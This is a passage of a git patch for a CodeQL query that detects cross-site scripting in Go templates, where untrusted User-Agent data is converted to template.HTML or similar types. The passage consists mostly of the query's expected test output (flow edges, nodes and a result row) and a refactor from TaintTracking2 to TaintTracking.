| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e |
-| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b |
-| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f |
-| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
-| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
-| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
nodes
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS |
| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
-| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr |
| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
-| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
-| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
-| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped |
| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
#select
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
From e2b7c035adeebb6b6d816a9aedec7050e076a9b7 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Thu, 11 Mar 2021 15:22:11 +0100
Subject: [PATCH 14/20] Use only one instance of TaintTracking.
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 16 +-
.../HTMLTemplateEscapingPassthrough.expected | 219 ++++++++++++++++++
2 files changed, 227 insertions(+), 8 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index ec04b628a5e..d1607921c1e 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -18,9 +18,9 @@ import DataFlow::PathGraph
* and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
- DataFlow::PathNode untrusted, string targetType, DataFlow2::PathNode conversionSink
+ DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink
) {
- exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow2::PathNode source |
+ exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source |
cfg.hasFlowPath(source, conversionSink) and
source.getNode() = untrusted.getNode() and
targetType = cfg.getDstTypeName()
@@ -41,7 +41,7 @@ class PassthroughTypeName extends string {
* this allows the injection of arbitrary content (html, css, js) into the generated
* output of the templates.
*/
-class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::Configuration {
+class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
string dstTypeName;
FlowConfFromUntrustedToPassthroughTypeConversion() {
@@ -68,11 +68,11 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::C
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
- DataFlow2::PathNode conversion, string targetType, DataFlow::PathNode execSink
+ DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink
) {
exists(
- FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow2::PathNode source,
- DataFlow2::PathNode execSinkLocal
+ FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source,
+ DataFlow::PathNode execSinkLocal
|
cfg.hasFlowPath(source, execSinkLocal) and
source.getNode() = conversion.getNode() and
@@ -85,7 +85,7 @@ predicate flowsFromConversionToExec(
* A taint-tracking configuration for reasoning about when the result of a conversion
* to a PassthroughType flows to a template execution call.
*/
-class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking2::Configuration {
+class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
string dstTypeName;
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
@@ -147,7 +147,7 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN
from
DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName,
- DataFlow2::PathNode conversion
+ DataFlow::PathNode conversion
where
// A = untrusted remote flow source
// B = conversion to PassthroughType
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index d22f55d367d..f81c79f791b 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -1,55 +1,274 @@
edges
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
+| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
